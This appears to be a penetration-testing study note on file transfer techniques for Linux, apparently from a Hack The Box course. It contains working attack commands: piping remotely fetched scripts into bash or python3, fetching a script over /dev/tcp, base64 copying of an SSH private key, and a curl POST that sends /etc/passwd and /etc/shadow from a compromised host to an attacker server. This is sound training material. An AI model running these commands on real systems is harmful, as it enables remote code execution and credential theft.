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File Transfer - Linux

2 min read

Download to Linux

Base64

First use md5sum to check the file we want to transfer:

[!bash!]$ md5sum id_rsa
 
4e301756a07ded0a2dd6953abf015278  id_rsa

Now base64 encode the target:

[!bash!]$ cat id_rsa |base64 -w 0;echo
 
LS0tLS1CRU<snip>

On target system, decode base64 string:

[!bash!]$ echo -n 'LS0tLS1<snip>' | base64 -d > id_rsa

After transferring, confirm the content with md5sum:

[!bash!]$ md5sum id_rsa
 
4e301756a07ded0a2dd6953abf015278  id_rsa

wget

[!bash!]$ wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh -O /tmp/LinEnum.sh

cURL

[!bash!]$ curl -o /tmp/LinEnum.sh https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh

Fileless

We don’t have to download. We can use the memory.

Fileless cURL

[!bash!]$ curl https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh | bash

Fileless wget

[!bash!]$ wget -qO- https://raw.githubusercontent.com/juliourena/plaintext/master/Scripts/helloworld.py | python3
 
Hello World!

Bash

First connect to the target webserver:

[!bash!]$ exec 3<>/dev/tcp/10.10.10.32/80

Send http get request:

[!bash!]$ echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3

Print the response:

[!bash!]$ cat <&3

SSH

[!bash!]$ scp plaintext@192.168.49.128:/root/myroot.txt .

Upload to Linux

Sometimes we need to upload files from our target machine to attack host.

Upload Server

Let’s see how we can configure uploadserver module to use HTTPs.

Spin up Web server:

[!bash!]$ sudo python3 -m pip install --user uploadserver
 
Collecting uploadserver
  Using cached uploadserver-2.0.1-py3-none-any.whl (6.9 kB)
Installing collected packages: uploadserver
Successfully installed uploadserver-2.0.1

Now we will create a certificate:

[!bash!]$ openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
 
Generating a RSA private key
................................................................................+++++
.......+++++
writing new private key to 'server.pem'
-----

Let’s start a web server:

[!bash!]$ mkdir https && cd https
[!bash!]$ sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
 
File upload available at /upload
Serving HTTPS on 0.0.0.0 port 443 (https://0.0.0.0:443/) ...

from our compromised machine, let’s upload the /etc/passwd and /etc/shadow files:

[!bash!]$ curl -X POST https://192.168.49.128/upload -F 'files=@/etc/passwd' -F 'files=@/etc/shadow' --insecure

Python

For Python3:

[!bash!]$ python3 -m http.server
 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

For Python2:

[!bash!]$ python2.7 -m SimpleHTTPServer
 
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

PHP

[!bash!]$ php -S 0.0.0.0:8000
 
[Fri May 20 08:16:47 2022] PHP 7.4.28 Development Server (http://0.0.0.0:8000) started

Ruby

!bash!]$ ruby -run -ehttpd . -p8000
 
[2022-05-23 09:35:46] INFO  WEBrick 1.6.1
[2022-05-23 09:35:46] INFO  ruby 2.7.4 (2021-07-07) [x86_64-linux-gnu]
[2022-05-23 09:35:46] INFO  WEBrick::HTTPServer#start: pid=1705 port=8000

SCP

[!bash!]$ scp /etc/passwd htb-student@10.129.86.90:/home/htb-student/
 
htb-student@10.129.86.90's password: 
passwd

For copying entire directory:

jadu101@htb[/htb]$ scp -r ptunnel-ng ubuntu@10.129.202.64:~/

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